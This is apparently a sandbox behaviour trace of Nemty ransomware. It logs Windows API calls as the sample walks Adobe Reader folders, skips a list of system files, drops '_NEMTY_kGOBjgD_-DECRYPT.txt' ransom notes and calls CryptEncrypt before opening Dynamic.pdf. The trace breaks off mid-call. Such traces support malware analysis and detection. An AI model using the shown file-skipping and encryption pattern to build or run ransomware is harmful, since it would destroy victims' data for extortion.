lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0189.081] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0189.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0189.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0189.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.082] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.082] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0189.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0189.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.082] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24503990, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24503990, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24503990, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0189.082] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0189.082] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0189.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.083] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff28600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="NOR", cAlternateFileName="")) returned 1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2=".") returned 1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="..") returned 1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="...") returned 1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="windows") returned -1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="$RECYCLE.BIN") returned 1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="rsa") returned -1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="NTDETECT.COM") returned -1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="ntldr") returned -1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="MSDOS.SYS") returned 1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="IO.SYS") returned 1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="boot.ini") returned 1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="boot.ini") returned 1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="AUTOEXEC.BAT") returned 1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="ntuser.dat") returned -1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="desktop.ini") returned 1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="CONFIG.SYS") returned 1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="RECYCLER") returned -1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="BOOTSECT.BAK") returned 1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="bootmgr") returned 1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="programdata") returned -1 [0189.083] lstrcmpiW (lpString1="NOR", lpString2="appdata") returned 1 [0189.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NOR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NOR", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NOR", lpUsedDefaultChar=0x0) returned 3 [0189.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NOR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NOR", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NOR", lpUsedDefaultChar=0x0) returned 3 [0189.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0189.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0189.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0189.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0189.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.084] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0189.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0189.084] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0189.084] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0189.086] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.086] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0189.087] CloseHandle (hObject=0x2f0) returned 1 [0189.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0189.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0189.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0189.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0189.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0189.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.088] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nor\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.088] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.088] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0189.089] CloseHandle (hObject=0x2f0) returned 1 [0189.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.090] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0189.090] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2459bf10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2459bf10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0189.090] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0189.090] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2459bf10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2459bf10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0189.090] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0189.090] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0189.090] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfbd7, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.090] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0189.091] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0189.091] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0189.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0189.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0189.091] Sleep (dwMilliseconds=0x5) [0189.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x245c2070, dwHighDateTime=0x1d561e8)) [0189.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x245c2070, dwHighDateTime=0x1d561e8)) [0189.101] GetLastError () returned 0xb7 [0189.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.101] GetLastError () returned 0xb7 [0189.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.101] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0189.101] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0189.102] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0189.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0189.102] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="IZORYTun5vIURWRmGl9Jmruaai4ZGWkoealS36lLZ59krVT2qPvslMGACOGFPixE\r\ni+vEtFewwgPSE51zF8GOlOBHms9bZrsbCc1eNkhQcwkYuqdffcOY2SrD9WN+2hem\r\nS0rCoK0GqOclHnefd+POa82lA2+l6+xoDXMShm++lrC30XgdjDI2IjVjF2YU/nuQ\r\nwM92KInJqf7ZZVx80ZHB1FoAn38TKzoiLNnax+5tkqgCjPmrpcWOtFR9x8LxNYZc\r\nf4E6BbyNQP9+Oi9uwgiRkEGwWoTKwRBD+XmxENNo96otv+pzadUNx8s/r72Nmq4N\r\nNGXnoZDRWUN3hFiQym2BZQ==\r\n", pcchString=0x653df5c) returned 1 [0189.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0189.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0189.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0189.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0189.102] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NOR\\Dynamic.pdf" (normalized: "c:\\program files 